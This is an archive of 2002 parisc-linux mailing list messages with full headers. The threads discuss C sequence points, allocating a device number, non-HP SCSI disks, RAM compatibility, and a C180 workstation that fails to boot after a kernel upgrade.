List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16375

On Wed, Oct 02, 2002 at 03:01:32PM +0200, phi wrote:
> Wouldn't be 'natural' to declare ++ a sequence point as well as comma is since
> it has side effects, beside it would remove the sequence-point jazz in the
> warning emits.

*boggle*.  i suggest you get hold of a copy of the C spec or a good
book on the C programming language.  What you are doing is _explictly_
undefined by the specification.  The compiler is free to emit
whatever code it likes.  GCC doesn't warn for the fun of it, you know.
http://www.eskimo.com/~scs/C-faq/q3.1.html gives some more detail.

> Right now the macro look like this for flawed/featured gcc.
> 
> #define get3_4(p) ({register uint32
> t=(*p++)<<24;t+=(*p++)<<16,t+=(*p++)<<8,t+(*p++);})

i thought you were trying to write portable code; the ({ ... }) is a
gcc extension.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Request for preliminary approval for a lanana
	device number.
Date: 02 Oct 2002 14:38:51 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <1033565931.23758.12.camel@irongate.swansea.linux.org.uk>
References: <1033526414.31126.1871.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621795 15075 80.91.229.3 (22 Nov 2014 02:03:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 07:31:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust51.swa.cable.ntl.com [80.5.120.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 923654829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 07:31:14 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g92Dcrbg023981;
	Wed, 2 Oct 2002 14:38:54 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g92DcpAl023979;
	Wed, 2 Oct 2002 14:38:51 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1033526414.31126.1871.camel@beavis>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16376

On Wed, 2002-10-02 at 03:40, Ryan Bradetich wrote:
> I would like to request prelimiary approval from you that you intend to
> merge this driver into your tree, so I can request a valid device
> number from lanana.

parisc tree is Willy, not my business.



From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Request for preliminary approval for a lanana device number.
Date: Wed, 2 Oct 2002 14:40:37 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20021002144037.C18377@parcelfarce.linux.theplanet.co.uk>
References: <1033526414.31126.1871.camel@beavis> <1033565931.23758.12.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621795 15079 80.91.229.3 (22 Nov 2014 02:03:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:15 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 07:40:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 487034829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 07:40:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17wjjx-0007ES-00; Wed, 02 Oct 2002 14:40:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1033565931.23758.12.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Wed, Oct 02, 2002 at 02:38:51PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16377

On Wed, Oct 02, 2002 at 02:38:51PM +0100, Alan Cox wrote:
> On Wed, 2002-10-02 at 03:40, Ryan Bradetich wrote:
> > I would like to request prelimiary approval from you that you intend to
> > merge this driver into your tree, so I can request a valid device
> > number from lanana.
> 
> parisc tree is Willy, not my business.

Ah, but lanana doesn't take acceptance by me as sufficient to allocate a
new char major number.  It's you, Marcelo or Linus.

Since this device is PA-RISC specific, I thought we could perhaps use
char-major-11 as that's used for some SPARC-only device at present.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Request for preliminary approval for a lanana
	device number.
Date: 02 Oct 2002 15:04:39 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1033567479.23758.25.camel@irongate.swansea.linux.org.uk>
References: <1033526414.31126.1871.camel@beavis>
	<1033565931.23758.12.camel@irongate.swansea.linux.org.uk> 
	<20021002144037.C18377@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621795 15081 80.91.229.3 (22 Nov 2014 02:03:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:15 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 07:57:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust51.swa.cable.ntl.com [80.5.120.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14E594829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 07:57:36 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g92E4fbg024115;
	Wed, 2 Oct 2002 15:04:42 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g92E4d22024113;
	Wed, 2 Oct 2002 15:04:39 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20021002144037.C18377@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16378

On Wed, 2002-10-02 at 14:40, Matthew Wilcox wrote:
> On Wed, Oct 02, 2002 at 02:38:51PM +0100, Alan Cox wrote:
> > On Wed, 2002-10-02 at 03:40, Ryan Bradetich wrote:
> > > I would like to request prelimiary approval from you that you intend to
> > > merge this driver into your tree, so I can request a valid device
> > > number from lanana.
> > 
> > parisc tree is Willy, not my business.
> 
> Ah, but lanana doesn't take acceptance by me as sufficient to allocate a
> new char major number.  It's you, Marcelo or Linus.

I guess its Linus and 2.5 then. Im 2.2 maintainer



From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP disks?
Date: 02 Oct 2002 10:22:41 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1033572162.563.0.camel@seventy>
References: <20021002034059.34434.qmail@web12505.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621796 15084 80.91.229.3 (22 Nov 2014 02:03:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 09:22:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8EC44829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 09:22:46 -0600 (MDT)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id g92FMf34018147;
	Wed, 2 Oct 2002 10:22:42 -0500
In-Reply-To: <20021002034059.34434.qmail@web12505.mail.yahoo.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16379

i had a very similar problem - i'd like to know how to use em too

James S



On Tue, 2002-10-01 at 22:40, Derek Engelhaupt wrote:
> Anyone using them?  I have a bunch of IBM DCHS-04F Ultrastar 2XP 4.3GB
> (got info from IBM's website about jumpers and tried them all) drives
> that I'm trying to get them to work but all they do is SCSI bus reset
> when Debian trys to load.  They are factory refurbed 50-pin SE disks
> and I have activated Autostart on them and active termination (tried it
> without too).  Anyway, they perform this way under HP-UX too.  Tried a
> 2GB HP drive and it works fine so the system SCSI bus is fine.  So,
> bottom line is anyone using NON-HP disks in thier systems?  Tried them
> in my E55, 712/60, and 712/100.  Have tried 2 different drives with the
> same result also.....
> 
> derek
> 
> __________________________________________________
> Do you Yahoo!?
> New DSL Internet Access from SBC & Yahoo!
> http://sbc.yahoo.com
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 oddness
Date: Wed, 2 Oct 2002 09:47:59 -0800 (AKDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0210020925510.6688-100000@wolf.alaskatech>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621796 15086 80.91.229.3 (22 Nov 2014 02:03:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:16 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 11:46:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AABD4829
	for <parisc-linux@parisc-linux.org>; Wed,  2 Oct 2002 11:46:29 -0600 (MDT)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id g92HlxR5006750
	for <parisc-linux@parisc-linux.org>; Wed, 2 Oct 2002 09:47:59 -0800
X-X-Sender: palinux@wolf.alaskatech
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16380

Okay - after a bit of downtime (due to houseguests being in the room with
the HP), I fired it back up to update things. Apt updated the system fine;
cvs updated the kernel from 2.4.18-pa59 to the latest -pa20 release
without errors. Recompiled using menuconfig (no errors), used make-kpkg to
create the kernel, then dpkg to install the generated .deb file (which
created all the links nicely, etc. Ran palo, which was happy, and
rebooted.

Now, the C180 runs headless, with a serial cable running to a Proliant
next to it so I can use minicom as a console if needed. After the reboot,
I couldn't ssh back in, so I checked the console, but minicom wouldn't
get a response. Power-cycled the HP, still no messages on console, no
errors on the LCDs, and eventually (several minutes) a heartbeat light.
Tried unplugging the serial cable, plugging in a keyboard/mouse/monitor
and rebooting again, but still nothing. With the monitor on, after power
on I do get a green signal light on the monitor, just no display. I tried
the "tab after powerup" to switch console settings, but nothing. According
to my C180 manual, having the monitor and keyboard on there should set the
monitor as console, while removing them should send console to ttyS0.

Anyone have any ideas how to rescue this, or what could have caused it?
It's running firmware 6.1, and has been for several months. There's no
error LEDs, no smell of smoke, no melted bits, and no actual response. I
tried switching off the UPS it's on and leaving it for an hour, but still
get the same lack of results. Minicom is set to 9600/8N1/VT100, which is
what worked last time I used the console this way...



From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WTS: workstation ram
Date: Thu, 03 Oct 2002 10:07:21 +1200
Lines: 29
Approved: news@gmane.org
Message-ID: <3.0.2.32.20021003100721.006f9c7c@pop3.xtra.co.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621796 15088 80.91.229.3 (22 Nov 2014 02:03:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 16:11:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta204-rme.xtra.co.nz (mta204-rme.xtra.co.nz [210.86.15.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id F30444829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 16:11:30 -0600 (MDT)
Original-Received: from mta5-rme.xtra.co.nz ([210.86.15.140])
          by mta204-rme.xtra.co.nz with ESMTP
          id <20021002221116.OUZH3898.mta204-rme.xtra.co.nz@mta5-rme.xtra.co.nz>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 3 Oct 2002 10:11:16 +1200
Original-Received: from oemcomputer ([219.88.65.22]) by mta5-rme.xtra.co.nz
          with SMTP
          id <20021002221115.HQUP18266.mta5-rme.xtra.co.nz@oemcomputer>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 3 Oct 2002 10:11:15 +1200
X-Sender: ghub005@pop3.xtra.co.nz
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16381

Message: 8
To: Gavin Hubbard <ghub005@xtra.co.nz>
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] WTS: workstation ram 
Date: Tue, 24 Sep 2002 10:58:43 -0600
From: Grant Grundler <grundler@dsl2.external.hp.com>

Gavin Hubbard wrote:
> I have twenty used A4994A modules. These are the 256MB, 120MHz SDRAM
> modules that work in the B1000, B2000, B2600, C3000, C3600, C3650, C3700,
> J5600, J6000, J6700, J7000 workstations. Please note that some of those
> systems require the modules to be added in pairs.

Will also work on A400 and A500 (ie rp24xx) boxes.
Possibly on L1000 and L2000 but don't know how picky PDC
is on those boxes.

grant

-------------------------------------------------

Quick follow-up; I installed an A4994A kit into a spare L1000 on Monday. It
booted HP-UX 11 with no problems.

Regards,

Gavin



From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 oddness
Date: Wed, 02 Oct 2002 22:30:01 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <3D9BABA9.80209@charter.net>
References: <Pine.LNX.4.44.0210020925510.6688-100000@wolf.alaskatech>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621796 15090 80.91.229.3 (22 Nov 2014 02:03:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 20:30:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx10.cluster1.charter.net (dc-mx10.cluster1.charter.net [209.225.8.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F65C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 20:30:10 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx10.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 762769 for parisc-linux@lists.parisc-linux.org; Wed, 02 Oct 2002 22:30:02 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16382

If you did a "make-kpkg" kernel and then a "dpkg -i kernel-image-...."
then you should be able to do a palo boot modification of something
like kernel=/vmlinux.old or /boot/vmlinux.old, etc.

I generally always keep some old "proven" kernel around in /boot
and symlink it to something I can remember easily like /vmlinux-rescue
or such. A couple extra megs of space will is definately worth it.

Thats why PALO, or (in X86: GRUB) is great because you don't have
to monkey with LILO every time you recompile your kernel. Just copy
it into /boot and use your firmware (or GRUB) to boot directly, leaving
your already proven boot sector safe and secure.

If all else fails, use Debian HPPA CDRom Disk-1 to get in there and
see what your old kernel is saved as.

Good Luck!

- Doug



Tom wrote:
 > Okay - after a bit of downtime (due to houseguests being in the room with
 > the HP), I fired it back up to update things. Apt updated the system fine;
 > cvs updated the kernel from 2.4.18-pa59 to the latest -pa20 release
 > without errors. Recompiled using menuconfig (no errors), used make-kpkg to
 > create the kernel, then dpkg to install the generated .deb file (which
 > created all the links nicely, etc. Ran palo, which was happy, and
 > rebooted.
 >
 > Now, the C180 runs headless, with a serial cable running to a Proliant
 > next to it so I can use minicom as a console if needed. After the reboot,
 > I couldn't ssh back in, so I checked the console, but minicom wouldn't
 > get a response. Power-cycled the HP, still no messages on console, no
 > errors on the LCDs, and eventually (several minutes) a heartbeat light.
 > Tried unplugging the serial cable, plugging in a keyboard/mouse/monitor
 > and rebooting again, but still nothing. With the monitor on, after power
 > on I do get a green signal light on the monitor, just no display. I tried
 > the "tab after powerup" to switch console settings, but nothing. According
 > to my C180 manual, having the monitor and keyboard on there should set the
 > monitor as console, while removing them should send console to ttyS0.
 >
 > Anyone have any ideas how to rescue this, or what could have caused it?
 > It's running firmware 6.1, and has been for several months. There's no
 > error LEDs, no smell of smoke, no melted bits, and no actual response. I
 > tried switching off the UPS it's on and leaving it for an hour, but still
 > get the same lack of results. Minicom is set to 9600/8N1/VT100, which is
 > what worked last time I used the console this way...
 >
 > _______________________________________________
 > parisc-linux mailing list
 > parisc-linux@lists.parisc-linux.org
 > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
 >






From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 oddness
Date: Wed, 02 Oct 2002 23:30:33 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20021003053033.9C5E64829@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0210020925510.6688-100000@wolf.alaskatech>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621797 15094 80.91.229.3 (22 Nov 2014 02:03:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:17 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 23:30:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9C5E64829; Wed,  2 Oct 2002 23:30:33 -0600 (MDT)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Wed, 02 Oct 2002 09:47:59 -0800." <Pine.LNX.4.44.0210020925510.6688-100000@wolf.alaskatech> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16383

Tom wrote:
> I couldn't ssh back in, so I checked the console, but minicom wouldn't
> get a response. Power-cycled the HP, still no messages on console, no
> errors on the LCDs, and eventually (several minutes) a heartbeat light.
...
> Anyone have any ideas how to rescue this, or what could have caused it?

Just some thoughts:
o if ssh doesn't work, try ping. ping will give a clue how far into the
  initialization the kernel got.

o after cyclepower on a system configured to run console on serial port,
  not seeing PDC init messages on the serial port suggests a HW problem.

o try another serial cable or a different "client" to start ruling
  out issues with serial connection.

> but still
> get the same lack of results. Minicom is set to 9600/8N1/VT100, which is
> what worked last time I used the console this way...

settings are correct.


grant


From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0011
